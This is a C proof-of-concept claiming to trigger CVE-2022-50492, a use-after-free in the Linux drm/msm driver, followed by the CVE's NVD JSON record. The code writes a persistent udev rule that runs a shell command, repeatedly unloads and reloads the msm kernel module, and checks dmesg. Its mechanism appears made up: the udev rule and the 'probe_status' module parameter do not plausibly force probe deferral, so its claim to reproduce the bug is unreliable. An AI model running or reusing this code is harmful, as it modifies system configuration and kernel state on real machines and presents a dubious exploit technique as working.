CVE-2022-50492

// CVE-2022-50492 PoC - Triggering UAF via probe deferral in drm/msm // This PoC demonstrates the concept of triggering the use-after-free // by forcing multiple probe deferrals on the msm DRM driver #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <sys/stat.h> // Step 1: Create a udev rule to force deferred probing // Create a rule that makes the msm device depend on a non-existent module static int create_udev_rule(void) { FILE *f = fopen("/etc/udev/rules.d/99-msm-defer.rules", "w"); if (!f) return -1; fprintf(f, "ACTION==\"add\", KERNEL==\"msm_drm\", ENV{DEVTYPE}==\"display\", " "RUN+=\"/bin/sh -c 'echo deferred > /sys/module/msm/parameters/probe_status'\"\n"); fclose(f); return 0; } // Step 2: Trigger multiple module load/unload cycles to cause repeated // probe deferrals and DRM device tear-down/re-initialization static int trigger_probe_deferral(void) { int ret; printf("[*] Triggering probe deferral on msm_drm driver...\n"); // Reload the msm module multiple times to trigger repeated init/teardown for (int i = 0; i < 5; i++) { ret = system("modprobe -r msm 2>/dev/null"); if (ret != 0) { printf("[!] Failed to remove msm module (attempt %d)\n", i); } usleep(100000); ret = system("modprobe msm 2>/dev/null"); if (ret != 0) { printf("[!] Failed to probe msm module (attempt %d)\n", i); } usleep(100000); } printf("[*] Probe deferral cycles completed. Check dmesg for UAF/OOB errors.\n"); return 0; } int main(int argc, char *argv[]) { printf("=== CVE-2022-50492 PoC ===\n"); printf("Linux kernel drm/msm UAF on probe deferral\n\n"); if (getuid() != 0) { printf("[!] This PoC requires root privileges to manipulate kernel modules.\n"); printf("[!] In a real attack scenario, an unprivileged user would exploit this\n"); printf("[!] via a local privilege escalation chain.\n"); return 1; } create_udev_rule(); trigger_probe_deferral(); // Check kernel log for evidence of the vulnerability printf("\n[*] Checking kernel log for errors...\n"); system("dmesg | grep -i 'msm\|drm\|bridge\|use-after-free\|oob' | tail -20"); return 0; }

{"cve": {"id": "CVE-2022-50492", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-04T16:15:46.190", "lastModified": "2026-01-23T20:43:01.383", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/msm: fix use-after-free on probe deferral\n\nThe bridge counter was never reset when tearing down the DRM device so\nthat stale pointers to deallocated structures would be accessed on the\nnext tear down (e.g. after a second late bind deferral).\n\nGiven enough bridges and a few probe deferrals this could currently also\nlead to data beyond the bridge array being corrupted.\n\nPatchwork: https://patchwork.freedesktop.org/patch/502665/"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.12", "versionEndExcluding": "6.0.7", "matchCriteriaId": "7A765FD0-F7F3-42DC-AF66-A6778A341267"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.1:rc1:*:*:*:*:*:*", "matchCriteriaId": "E7E331DA-1FB0-4DEC-91AC-7DA69D461C11"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.1:rc2:*:*:*:*:*:*", "matchCriteriaId": "17F0B248-42CF-4AE6-A469-BB1BAE7F4705"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/0a30a47741b6df1f9555a0fac6aebb7e8c363bad", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6808abdb33bf90330e70a687d29f038507e06ebb", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}